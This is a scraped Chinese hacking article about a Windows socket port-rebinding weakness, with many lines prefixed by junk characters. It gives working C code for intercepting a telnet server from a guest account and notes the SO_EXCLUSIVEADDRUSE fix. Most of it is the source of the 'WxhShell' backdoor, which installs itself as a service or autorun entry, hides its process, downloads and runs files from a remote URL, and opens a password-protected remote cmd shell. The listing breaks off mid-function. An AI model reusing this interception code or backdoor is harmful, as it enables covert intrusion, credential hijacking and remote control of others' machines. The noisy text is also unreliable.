在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u3E =r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*[*q#b$j }xi?vAaTl saddr.sin_family = AF_INET;
V{w &RJ )Q>Ao. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5`g VziS!S }V`_(%Q-e bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-K H"2q >]C/ Q6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
m g@Ol"2 noEl+5uY 这意味着什么?意味着可以进行如下的攻击:
N:'!0|6?x- C=v+e%)x@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
DS>&|zF5l vqO#Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dNF_T?E\ 4;r,U{uR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9F?-zn;2s Z
P6p>?DQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x(R;xB f?ibyoXL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8oXp8CC ,J-|.ER-> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3}&3{kt DHx&%]r;D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$!y^t$u$@ kv, !"< #include
M_.Jmh<&& #include
m%>}T75C^ #include
CR%h$+dzy #include
$Bl51VjN DWORD WINAPI ClientThread(LPVOID lpParam);
R5(([C1 int main()
}4H}*P> + {
(v|<"
tv WORD wVersionRequested;
\_6 DWORD ret;
75R#gQ]EV WSADATA wsaData;
+`>E_+Mp BOOL val;
(C"q-0?n SOCKADDR_IN saddr;
wU<j=lY?f SOCKADDR_IN scaddr;
n:) [%on int err;
GKSF(Tnj SOCKET s;
+PI}$c-|` SOCKET sc;
OVU)t] int caddsize;
nvXjW@)` HANDLE mt;
.=t:Uy DWORD tid;
Dq$1
j%4Y wVersionRequested = MAKEWORD( 2, 2 );
~gGkw# err = WSAStartup( wVersionRequested, &wsaData );
g,M-[o=Fk if ( err != 0 ) {
d;wq@e printf("error!WSAStartup failed!\n");
!>80p~L return -1;
"` cP V){] }
9p3~WA/M@ saddr.sin_family = AF_INET;
g1"ZpD aX6}:"R2C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
; '
vkF >~Tn%u< saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i8-Y,&>V saddr.sin_port = htons(23);
#\n*Qg4p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>A6W^J|[ {
lNyyLLt printf("error!socket failed!\n");
CI-za !T return -1;
[u2t1^#Ol }
{=mGXd`x?l val = TRUE;
/2c(6h //SO_REUSEADDR选项就是可以实现端口重绑定的
s@7h oU-+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
C4.GtY8,d {
~u2f`67{ printf("error!setsockopt failed!\n");
n*na6rV\k return -1;
g<M!]0OK }
HiU)q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j>:N0:
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]4c+{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q oi21mCn 'VCuMCV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w4\
3* {
#{J~
km / ret=GetLastError();
) 5$?e printf("error!bind failed!\n");
~+Pe=~a[ return -1;
{"{]S12N }
\R]2YY`EP listen(s,2);
REK):(i7P while(1)
:DNI\TmhJ {
RJerx:] caddsize = sizeof(scaddr);
hCr,6nc C //接受连接请求
PQSmBTs. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
KA?%1s(kJ if(sc!=INVALID_SOCKET)
EK"/4t{L_ {
OW\vbWX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
at@tS>Dv if(mt==NULL)
R#;xBBt8 {
(B\
UZb printf("Thread Creat Failed!\n");
7Vh break;
w)@Wug }
?2Z`xL9QT }
42"nbJ CloseHandle(mt);
DgW@v[#BK= }
0!0e$!8l closesocket(s);
/(hTk& WSACleanup();
S\A0gOL^ return 0;
xRXvTNEg }
un-%p# DWORD WINAPI ClientThread(LPVOID lpParam)
H{=G\N{ {
EC[]L'IL SOCKET ss = (SOCKET)lpParam;
:adz~L$ SOCKET sc;
2z;3NUL$n unsigned char buf[4096];
WlvT&W SOCKADDR_IN saddr;
Q8m%mJz~] long num;
j8[U}~*^ DWORD val;
MkJBKS DWORD ret;
qAH^BrJ //如果是隐藏端口应用的话,可以在此处加一些判断
*!&?Xy%\"j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,pGA|ob saddr.sin_family = AF_INET;
tJ >>cFx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!o_eK\p saddr.sin_port = htons(23);
%,02i@Fc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`:V'E>B {
:dULsl$Nz printf("error!socket failed!\n");
,
ftJw return -1;
s=jYQ5nv }
{%9@{Q'T.s val = 100;
vCJa%} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$o5i15Oy. {
l:UKU ! ret = GetLastError();
m+s*Io{Ip return -1;
63Gq5dF }
tNzO1BK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HB5-B XBU {
2v4K3O60G ret = GetLastError();
} f&=} return -1;
a?r$E.W'& }
r2.w4RMFua if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Qr~!YPK\ {
qwj7CIc( printf("error!socket connect failed!\n");
jF}kV%E closesocket(sc);
g%S/)R,,ct closesocket(ss);
*(q?O_3,b return -1;
AmDOv4 }
cRrJZ9 while(1)
|a#ikY _nd {
s<!G2~T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
w[gt9]}N //如果是嗅探内容的话,可以再此处进行内容分析和记录
a7ZufB/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sZ&|omN num = recv(ss,buf,4096,0);
ly*v|(S& if(num>0)
H(76sE send(sc,buf,num,0);
Eq;w5;7s else if(num==0)
aaY AS"/: break;
L{F]uz_[x num = recv(sc,buf,4096,0);
jwE= if(num>0)
*.>@ send(ss,buf,num,0);
<zn)f@W else if(num==0)
+O 7(
>a break;
;#v3C; }
bs~P closesocket(ss);
C@`#@1X closesocket(sc);
rmkBp_i{| return 0 ;
K\U`gTGc }
v8y Cf7+" {*GBUv5 g&2g>] ==========================================================
L k
nK Bt@?l]Y 下边附上一个代码,,WXhSHELL
zc)nDyn E#(e2Z= ==========================================================
O5p$
A@ Ii[U% #include "stdafx.h"
;u'VR}4ph _^GBfM. #include <stdio.h>
MjC<N[WO>N #include <string.h>
TCyev[( #include <windows.h>
_yN5sLLyb #include <winsock2.h>
$aJay]F #include <winsvc.h>
A9BoH[is7 #include <urlmon.h>
MSM8wYcD B;=Z^$%T #pragma comment (lib, "Ws2_32.lib")
}a5TY("d9H #pragma comment (lib, "urlmon.lib")
*'8q?R?7g dNt^lx #define MAX_USER 100 // 最大客户端连接数
vkGF_aenk #define BUF_SOCK 200 // sock buffer
ms}o[Z@n #define KEY_BUFF 255 // 输入 buffer
\X*y~)+K` LZ_VLW9wE #define REBOOT 0 // 重启
e7xv~C>g #define SHUTDOWN 1 // 关机
(!{*@?S U~ a\v8l~ #define DEF_PORT 5000 // 监听端口
?B ,<gen #!O)-dyF #define REG_LEN 16 // 注册表键长度
|Ol29C$@| #define SVC_LEN 80 // NT服务名长度
^|Fy!kp _dk[k@5W{' // 从dll定义API
&&C70+_po typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
G^dp9A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ij4q &i" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Y3[KS;_fr9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+0%r@hTv&> aIa<, // wxhshell配置信息
;AOLbmb)H4 struct WSCFG {
=bD.5,F) int ws_port; // 监听端口
ya~;Of5 char ws_passstr[REG_LEN]; // 口令
nsi?.c&0! int ws_autoins; // 安装标记, 1=yes 0=no
y-.{){uaD char ws_regname[REG_LEN]; // 注册表键名
\v-I<":: char ws_svcname[REG_LEN]; // 服务名
au50%sA~
char ws_svcdisp[SVC_LEN]; // 服务显示名
U'" #jT char ws_svcdesc[SVC_LEN]; // 服务描述信息
[#@lsI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qtAt=` s int ws_downexe; // 下载执行标记, 1=yes 0=no
--l
UEo ~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
vJ&D>Vh4e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
^\B4]'+^j G9okl9;od };
*Xk5H,: |33t 5}we // default Wxhshell configuration
a~LA&>@ struct WSCFG wscfg={DEF_PORT,
!^F_7u@Q "xuhuanlingzhe",
Iv 1,
<]G'& iv> "Wxhshell",
"A
Bt "Wxhshell",
T_Tu>wQX "WxhShell Service",
!~?/D "Wrsky Windows CmdShell Service",
MCibYvc[ "Please Input Your Password: ",
P2jh[a% 1,
dcmf~+T "
http://www.wrsky.com/wxhshell.exe",
=6ru%.8U, "Wxhshell.exe"
1gBLJ0q };
jcj8w N}n3 +F // 消息定义模块
CQ6I4k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H0"'jd char *msg_ws_prompt="\n\r? for help\n\r#>";
J'ce?_\?PY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(S W6?5 char *msg_ws_ext="\n\rExit.";
+i!HMyM char *msg_ws_end="\n\rQuit.";
Gu$J;bXVj char *msg_ws_boot="\n\rReboot...";
e6_8f*o|s char *msg_ws_poff="\n\rShutdown...";
%"(HjanH char *msg_ws_down="\n\rSave to ";
L%$-?O| 7:LEf"vRZ char *msg_ws_err="\n\rErr!";
xP>cQEL ot char *msg_ws_ok="\n\rOK!";
GNM>hQ)h: w]qM
char ExeFile[MAX_PATH];
.>TG{>sH int nUser = 0;
Ua|iAD1 HANDLE handles[MAX_USER];
:X}SuM?c int OsIsNt;
S{l)hwlE Q .Nw#r+m SERVICE_STATUS serviceStatus;
:atd_6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Iv3O8GU QpQ 2hNf // 函数声明
,_YI:xie|c int Install(void);
ZJWpb int Uninstall(void);
&'k(v(>n, int DownloadFile(char *sURL, SOCKET wsh);
xva
e^gr
int Boot(int flag);
q
6UZ`9&z void HideProc(void);
lbt8S.fx int GetOsVer(void);
E-Xz int Wxhshell(SOCKET wsl);
*V:U\G void TalkWithClient(void *cs);
XZ.D<T" int CmdShell(SOCKET sock);
iP9]b& int StartFromService(void);
"Ua-7Q&A int StartWxhshell(LPSTR lpCmdLine);
iT{4-j7|P4 Rkk`+0K7$J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
j~\FDcG*ed VOID WINAPI NTServiceHandler( DWORD fdwControl );
g)Hsd0 .?3roQ // 数据结构和表定义
FEu}zt@
SERVICE_TABLE_ENTRY DispatchTable[] =
4rL`|| {
d m"R0> {wscfg.ws_svcname, NTServiceMain},
NvIg,@} {NULL, NULL}
W f"$ };
S) zw[m `_)9eGQ // 自我安装
U}X'RCM int Install(void)
)vOBF5 {
g,WTXRy char svExeFile[MAX_PATH];
T2]8w1l&K HKEY key;
.?g=mh79( strcpy(svExeFile,ExeFile);
^kcuRJ0*$ 8i;drvf // 如果是win9x系统,修改注册表设为自启动
{ST8'hY if(!OsIsNt) {
Lct_6? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A3 TR'BFw- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j}Svb1A RegCloseKey(key);
Ji,;ri2i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:kI[Pf!z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X4:84 RegCloseKey(key);
jbe:"Stw return 0;
P]^8Enp }
B0yGr\KJ }
1t/c@YUTy }
XN
t` 4$L else {
y_[VhZ% ={cM6F}a@ // 如果是NT以上系统,安装为系统服务
cu5}( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(T2HUmkQ6 if (schSCManager!=0)
"Y^Fn,c {
:,p3&2I SC_HANDLE schService = CreateService
3v3cK1K@oE (
11QZ- ^ schSCManager,
j^b&Q wscfg.ws_svcname,
{}'Jr1 wscfg.ws_svcdisp,
YY tVp_) SERVICE_ALL_ACCESS,
Y'P^]Q=}_# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
rusM]Z SERVICE_AUTO_START,
E%E`\mFD SERVICE_ERROR_NORMAL,
"&D0Sd@[? svExeFile,
DC>?e[oOz NULL,
-6_<] NULL,
>clVV6B NULL,
)cQ KR4x0^ NULL,
8Wtr,%82 NULL
fl4@5AVY );
R=Lkf if (schService!=0)
|QbCFihn {
3nhQ^zqf CloseServiceHandle(schService);
.
&}x[~g CloseServiceHandle(schSCManager);
;6 d-+(@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)N^fSenFBn strcat(svExeFile,wscfg.ws_svcname);
{c?{M.R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^|h_[> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2.);OFk+ RegCloseKey(key);
.XK3o .ZhW return 0;
?S=y>b9R }
dmkGIg} }
k
"7,-0gz CloseServiceHandle(schSCManager);
d/oD]aAEr }
"S{GjOlEDF }
8TH;6-RT dQH8s return 1;
{s*1QBM$\Z }
~a7@O^q4 4$2HO`@uN // 自我卸载
T^d<vH int Uninstall(void)
!7]^QdBLY {
?t\GHQ$$? HKEY key;
gP8}d*W%b L28wT)D- if(!OsIsNt) {
;
1?L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Tp~Qg{%Og RegDeleteValue(key,wscfg.ws_regname);
Gl{2"!mt= RegCloseKey(key);
[=.iJ5,{2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g] IPNW^n RegDeleteValue(key,wscfg.ws_regname);
i/8OC RegCloseKey(key);
mrsN@(X0 return 0;
3\ )bg
R: }
%|/\Qu }
""V\hHdp
}
P%[{ 'u else {
BB1_EdoG 2^5RQl/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s&WE' if (schSCManager!=0)
Qd3ppJn {
NV}fcZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
SJ8
~:"\P if (schService!=0)
{KTZSs $n {
hQzT
=0 if(DeleteService(schService)!=0) {
nyhHXVRH CloseServiceHandle(schService);
!L|VmLqa CloseServiceHandle(schSCManager);
J~@W":v return 0;
;6]ag< Q }
bS|h~B]rd CloseServiceHandle(schService);
Zn|lL0b{q }
Wa?\W& CloseServiceHandle(schSCManager);
)!zg=}V }
4|jPr J
}
4rCw#mVtB |l|$Q; return 1;
ow,! 7|m }
Y.52`s6F w1F)R^tU // 从指定url下载文件
|t$%kpp int DownloadFile(char *sURL, SOCKET wsh)
[8DPZU@ {
0"sZP\<p HRESULT hr;
54]UfmT%I char seps[]= "/";
L)H/t6}i char *token;
^'sy hI\ char *file;
{Aj=Rj@ char myURL[MAX_PATH];
JGhK8E
char myFILE[MAX_PATH];
|9m*?7 ]REF1<)4z strcpy(myURL,sURL);
U;
#v-'Z token=strtok(myURL,seps);
"[_gRe*2 while(token!=NULL)
_lH:%E* {
@%MGLR{pH file=token;
(c3O> *M token=strtok(NULL,seps);
,k:>Z&: }
D#>d+X$ &xC5Mecb* GetCurrentDirectory(MAX_PATH,myFILE);
>n&+<06 strcat(myFILE, "\\");
_>t6]?* strcat(myFILE, file);
ob)c0Pz send(wsh,myFILE,strlen(myFILE),0);
eY:jVYG( send(wsh,"...",3,0);
&]KA%Db2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~^3U@(: if(hr==S_OK)
BQgK<_ return 0;
zb!RfQ, else
\%W"KLP return 1;
0o@eE3^ |t58n{V.O }
cGg~+R2P m$'ZiS5 // 系统电源模块
p@YbIn int Boot(int flag)
]*rK; {
&x4|!"G HANDLE hToken;
9PR?'X;4 TOKEN_PRIVILEGES tkp;
py/#h$eY N71%l if(OsIsNt) {
k <LFH( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7X/B9Hee LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
x)kp*^/ tkp.PrivilegeCount = 1;
YO.+06X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
99Nm? $g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*APTgXYR if(flag==REBOOT) {
SQG9m2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qHYoQ.ke return 0;
oHethk }
) @f6 else {
SUoUXh^!w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@w,O1Xwj return 0;
R36A_ }
:u?L
y[x }
gF|u%_y-qt else {
QIcc@PGT9a if(flag==REBOOT) {
u>03l(X6f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=kW7|c5Z return 0;
5q}7#{A }
2J6(TrQ else {
s%l^zA( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6l(HD([_p return 0;
0ol*!@? }
{@X)=.Zf }
eC$ Jdf jQ P2[\ return 1;
F*,RDM'M }
sH{(=N /o nZ14 // win9x进程隐藏模块
mv`ND& void HideProc(void)
/Nd`eUn {
Sh U1RQk 5k<0>6;XH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pJ@D}2u( if ( hKernel != NULL )
'!XVz$C {
oMb@)7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kfs[*ku ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Uj)`(}r FreeLibrary(hKernel);
5oY^;)\/ }
K!|J/W =D^R,Q return;
J+Zp<Wu- }
z7O$o/E-* AbOF/g)C // 获取操作系统版本
-pm%F8{T] int GetOsVer(void)
>+ku:<Hw%. {
ys}I~MK - OSVERSIONINFO winfo;
EpH\;25u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
z CFXQi GetVersionEx(&winfo);
FWQNO( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ibu 5 return 1;
r[KX"U- else
;Z-%'5hKM return 0;
,\ zx4* }
d01]5'f?o IFW"SfdZk // 客户端句柄模块
:sJQ r._L int Wxhshell(SOCKET wsl)
$36.*s m {
pn
aSOyR SOCKET wsh;
iiTt{ab\Y struct sockaddr_in client;
/
#D R| DWORD myID;
sk~inIj- )8JM.:, while(nUser<MAX_USER)
78t:ge
eX {
yo!Y%9 int nSize=sizeof(client);
kuo!}QFL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7toDk$jJRg if(wsh==INVALID_SOCKET) return 1;
*L#\#nh7 mBg$eiGTB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yey]#M[y if(handles[nUser]==0)
t/(rB} closesocket(wsh);
R2f^dt^ else
sH+ 90|? nUser++;
Ws:MbZyr }
EVDcj,b"^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V%[34G cPPTGpqw return 0;
%HcCe[d5l }
A $W~R "<yJ<lS&> // 关闭 socket
klx28/] void CloseIt(SOCKET wsh)
P?j ;&@$^e {
YaAOP'p closesocket(wsh);
)EIT>u= nUser--;
irKM?#h ExitThread(0);
9qX)FB@'i; }
XW q@47FR $'93:9tg // 客户端请求句柄
F0/!+ho void TalkWithClient(void *cs)
T3h 1eU {
N<T@GQwkS `clp#l.ii SOCKET wsh=(SOCKET)cs;
M. fA5rJ^ char pwd[SVC_LEN];
"{M?,jP# char cmd[KEY_BUFF];
v]hu5t char chr[1];
hf< [$B int i,j;
@5*$yi 'Cp dc,qQM while (nUser < MAX_USER) {
b-HELS`nX #,Cz+k*4 if(wscfg.ws_passstr) {
sTw+.m{F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^_\%?K_u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:HkXsZ //ZeroMemory(pwd,KEY_BUFF);
"*ww>0[ i=0;
Y@2yV(m)o while(i<SVC_LEN) {
?OVje9 #.@- ng6C // 设置超时
o8u;2gZx fd_set FdRead;
X \qG
WpN% struct timeval TimeOut;
8Cw3b\ne FD_ZERO(&FdRead);
4XIc|a Aa FD_SET(wsh,&FdRead);
Z^_gS&nDa~ TimeOut.tv_sec=8;
(W+aeB0 TimeOut.tv_usec=0;
kt7x}F(?< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ZhY03>X if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|H>;a@2d 5Tq*]ZE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
I9*BTT] pwd
=chr[0]; 3_ko=& B$
if(chr[0]==0xd || chr[0]==0xa) { (ty&$
pwd=0; 5+a5pC
break; J7+[+Y
} =TJ9Gr/R&:
i++; hr3<vWAD
} puox^
$) m$c5!
// 如果是非法用户,关闭 socket Tb}op XYK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1G)I|v9R
} w/csLi.O
2 :wgt
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0HN%3AG]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %{ory5
#|=Q5"wU
while(1) { /cZTj!M
hRZYvZ3
ZeroMemory(cmd,KEY_BUFF); 8~y&" \
ew<_2Xy"<
// 自动支持客户端 telnet标准 cc 0Tb
j=0; 'PWA
while(j<KEY_BUFF) { u9N/9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NiD_ v
cmd[j]=chr[0]; 'zOB!QqA`v
if(chr[0]==0xa || chr[0]==0xd) { HYl~)O>
cmd[j]=0; 4`Lr^q}M+
break; ZP'0=
} HJJ;gTj
j++; O~mQ\GlW
} 2WC$r8E
*U +<Hv`C
// 下载文件 jc HyRR1R
if(strstr(cmd,"http://")) { lcK4 Uq\q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;.=]Ar}
if(DownloadFile(cmd,wsh)) n0g8B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7MQh,J!"
else &z@}9U*6b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iw%""q(`
} 3:T~$M`]
else { 934@Z(aUH
oSIP{lfp2Q
switch(cmd[0]) { EVP{7}K1
"r1
!hfIYf
// 帮助 2}15FXgN
case '?': { '3?-o|v@D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nf1O8FwRb
break; WjOP2CVv|
} $$i
Gs6az
// 安装 #n]K$k>
case 'i': { oxL)Jx\c9A
if(Install()) [}yPy))A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j8c5_&
else }{)Rnb@
>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nDyA][
break; 6j95>} @
} #4<=Ira5
// 卸载 !*S,S{T8
case 'r': { snYeo?|b
if(Uninstall()) S0M i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0#4A0[vV
else \>||
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &OA6Zw/A
break; 3)I]bui
} @saK:z
// 显示 wxhshell 所在路径 @WNqD*)1
case 'p': {
~t n$AtK
char svExeFile[MAX_PATH]; 2MmHO2
strcpy(svExeFile,"\n\r"); f3S 8~!
strcat(svExeFile,ExeFile); ubRhJ~XB
send(wsh,svExeFile,strlen(svExeFile),0); (2UA ,
break; }B_?7+
} 70 Ph^e)
// 重启 `@ny!S|1/
case 'b': { Kg`P@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X,bhX/h
if(Boot(REBOOT)) Lp/'-Y_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; tQ(l%!
else { ;YSe:m*
closesocket(wsh); T}/|nOu
5
ExitThread(0); @Ne&%F?^Z
} P+BGCc%);B
break; X&IT s
} LH.Gf
// 关机 #<X4RJ
case 'd': { ,:2Z6~z{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |?nYs>K
if(Boot(SHUTDOWN)) Y=?{TX=6<[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ r
else { g/}d> 6
closesocket(wsh); ^VW]Qr!
ExitThread(0); Bh'!aip k
} &xA>(|a\&-
break; .)=*Yr M
} 9yaTDxB>
// 获取shell ]_|'N7J
case 's': { rIb~@cR)
CmdShell(wsh); y4l-o
closesocket(wsh); H4sW%nZ0
ExitThread(0); m(o`;
break; { ^^5FE)%
} #!E`%'
s]
// 退出 nCQ".G
case 'x': { `\|tXl.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [oXSjLQm[
CloseIt(wsh); |?ZU8I^vW
break; ycSGv4
)
} Ijap%l1I
// 离开
+ K`.ck
case 'q': { crOSr/I$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %@)R
closesocket(wsh); T+aNX/c|>
WSACleanup(); !Z |_3
exit(1); 4_ypFuS ^
break; [VqiF~o,
} Wp+lI1t
} @$!6u0x
} O2?yI8|Jn
EZ:?
(|h
// 提示信息 pJs`/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vq.o;q /
} K C"&3
} cJbv,RV<
tQRbNY#}Z
return; GyMN;|
} /W`CqJk-*.
i /I
// shell模块句柄 ]*'_a@h
int CmdShell(SOCKET sock) lNf );!}SM
{ o5 ~VT!'[
STARTUPINFO si; U<;{_!]
ZeroMemory(&si,sizeof(si)); bq)1'beW
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S7WHOr9XMV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (n8?+GCa
PROCESS_INFORMATION ProcessInfo; 6"Lyv
char cmdline[]="cmd"; Q)BSngW+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bcjh3WP
return 0; YFPse.2$a
} Dt> tTU 6
65JG#^)KaX
// 自身启动模式 *0Z6H-Do,
int StartFromService(void) 1*G&ZI
{ f0Q! lMv
typedef struct AZE%fOG<i
{ )Ute
DWORD ExitStatus; >~Gy+-
DWORD PebBaseAddress; ;?@Rq"*
DWORD AffinityMask; 8(l0\R,%+z
